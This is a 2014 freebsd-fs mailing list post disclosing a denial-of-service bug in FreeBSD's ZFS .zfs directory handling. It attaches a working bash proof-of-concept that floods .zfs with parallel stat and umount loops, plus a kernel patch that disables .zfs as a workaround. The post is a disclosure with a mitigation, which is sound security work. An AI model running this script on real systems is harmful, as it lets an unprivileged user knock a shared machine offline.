ZFS .zfs DoS

Richard Kojedzinszky krichy at cflinux.hu
Fri Jan 17 02:11:50 UTC 2014


Dear users,

For a long time now I've been investigating problems relating FreeBSD ZFS 
.zfs handling, and found that I am not enough to fix issues. Until fixes 
arrive, unfortunately a regular user can DoS a FreeBSD system which has 
ZFS filesystems with the attached script. While the script expects a 
snapshot argument to be given, actually the first test case does not need 
that, only a mounted zfs filesystem is enough. For more of the tests a 
snapshot may be needed, and later ones need root account also.

I would recommend that until this gets rewritten or fixed at all, one 
should disable access to .zfs at all with someting like I've attached.

Regards,
Kojedzinszky Richard
-------------- next part --------------
#!/bin/bash

snapshot="$1"
if [ -z "$snapshot" ]; then
	echo "FreeBSD/ZFS snapshot handling bug"
	echo ""
	echo "Usage: $0 <zfs snapshot>"
	exit 1
fi

snapshot="$(zfs list -t snapshot -H -o name "$snapshot")"
if [ -z "$snapshot" ]; then
	echo "Snapshot not found"
	exit 2
fi

dataset="${snapshot%@*}"
sn="${snapshot#*@}"
mountpoint=$(mount | grep "^$dataset[[:space:]]" | awk '{print $3}')

if [ ! -d "$mountpoint" ]; then
	echo "Could not determine mount point for $dataset"
	exit 3
fi

echo "** dataset=$dataset snapname=$sn mounted=$mountpoint"

cd "$mountpoint/.zfs"
yes snapshot | xargs stat > /dev/null &
yes snapshot | xargs stat > /dev/null &

#cd "$mountpoint/.zfs/snapshot"
#yes "$sn" | xargs umount > /dev/null &
#yes "$sn" | xargs umount > /dev/null &
#yes "$mountpoint/.zfs/snapshot/$sn" | xargs umount > /dev/null &
#yes "$mountpoint/.zfs/snapshot/$sn" | xargs umount > /dev/null &
#yes "$sn" | xargs stat > /dev/null &
#yes "$sn" | xargs stat > /dev/null &
#yes "$sn/.." | xargs stat > /dev/null &
#yes "$sn/.." | xargs stat > /dev/null &
#yes "." | xargs ls -la > /dev/null &
#yes "." | xargs ls -la > /dev/null &

#yes "$snapshot" | xargs -n 1 zfs send -R > /dev/null &
-------------- next part --------------
diff --git a/sys/cddl/contrib/opensolaris/uts/common/fs/zfs/zfs_vfsops.c b/sys/cddl/contrib/opensolaris/uts/common/fs/zfs/zfs_vfsops.c
index 8eb8953..27f42bd 100644
--- a/sys/cddl/contrib/opensolaris/uts/common/fs/zfs/zfs_vfsops.c
+++ b/sys/cddl/contrib/opensolaris/uts/common/fs/zfs/zfs_vfsops.c
@@ -1227,8 +1227,10 @@ zfs_domount(vfs_t *vfsp, char *osname)
 	VERIFY(VFS_ROOT(vfsp, LK_EXCLUSIVE, &vp) == 0);
 	VOP_UNLOCK(vp, 0);
 
+#if 0
 	if (!zfsvfs->z_issnap)
 		zfsctl_create(zfsvfs);
+#endif
 out:
 	if (error) {
 		dmu_objset_disown(zfsvfs->z_os, zfsvfs);
@@ -1960,8 +1962,10 @@ zfs_umount(vfs_t *vfsp, int fflag)
 				return (EBUSY);
 			ASSERT(zfsvfs->z_ctldir->v_count == 1);
 		}
+#if 0
 		zfsctl_destroy(zfsvfs);
 		ASSERT(zfsvfs->z_ctldir == NULL);
+#endif
 	}
 
 	if (fflag & MS_FORCE) {
@@ -1980,10 +1984,12 @@ zfs_umount(vfs_t *vfsp, int fflag)
 	 */
 	ret = vflush(vfsp, 1, (fflag & MS_FORCE) ? FORCECLOSE : 0, td);
 	if (ret != 0) {
+#if 0
 		if (!zfsvfs->z_issnap) {
 			zfsctl_create(zfsvfs);
 			ASSERT(zfsvfs->z_ctldir != NULL);
 		}
+#endif
 		return (ret);
 	}
 
@@ -2034,8 +2040,10 @@ zfs_umount(vfs_t *vfsp, int fflag)
 	/*
 	 * We can now safely destroy the '.zfs' directory node.
 	 */
+#if 0
 	if (zfsvfs->z_ctldir != NULL)
 		zfsctl_destroy(zfsvfs);
+#endif
 	if (zfsvfs->z_issnap) {
 		vnode_t *svp = vfsp->mnt_vnodecovered;
 


More information about the freebsd-fs mailing list